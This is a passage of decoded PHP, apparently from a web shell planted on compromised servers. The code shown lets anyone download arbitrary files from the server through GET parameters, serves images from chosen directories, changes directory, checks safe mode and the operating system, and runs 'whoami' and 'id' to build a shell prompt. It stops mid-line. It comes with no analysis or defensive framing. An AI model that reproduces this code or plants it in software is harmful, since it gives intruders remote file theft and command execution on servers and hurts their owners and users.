PHP Decode

if(isset($_GET['dl']) && ($_GET['dl'] != "")){ $file = $_GET['dl']; $filez = @file_get_contents($file); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file)."\";"); echo $filez; exit; } elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){ $file = $_GET['dlgzip']; $filez = gzencode(@file_get_contents($file)); header("Content-Type:application/x-gzip
"); header("Content-length: ".strlen($filez)); header("Content-disposition: attachment; filename=\"".basename($file).".gz\";"); echo $filez; exit; } if(isset($_GET['img'])){ @ob_clean(); $d = magicboom($_GET['y']); $f = $_GET['img']; $inf = @getimagesize($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; @header("Content-type: ".$inf["mime"]); @header("Cache-control: public"); @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); @header("Cache-control: max-age=".(60*60*24*7)); @readfile($d.$f); exit; } $ver = "1.01"; $software = getenv("SERVER_SOFTWARE"); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE; $system = @php_uname(); if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE; if(isset($_GET['y'])){ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } } if(!$win){ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; } else { $user = @get_current_user(); $id = $user; $prompt = $user." &g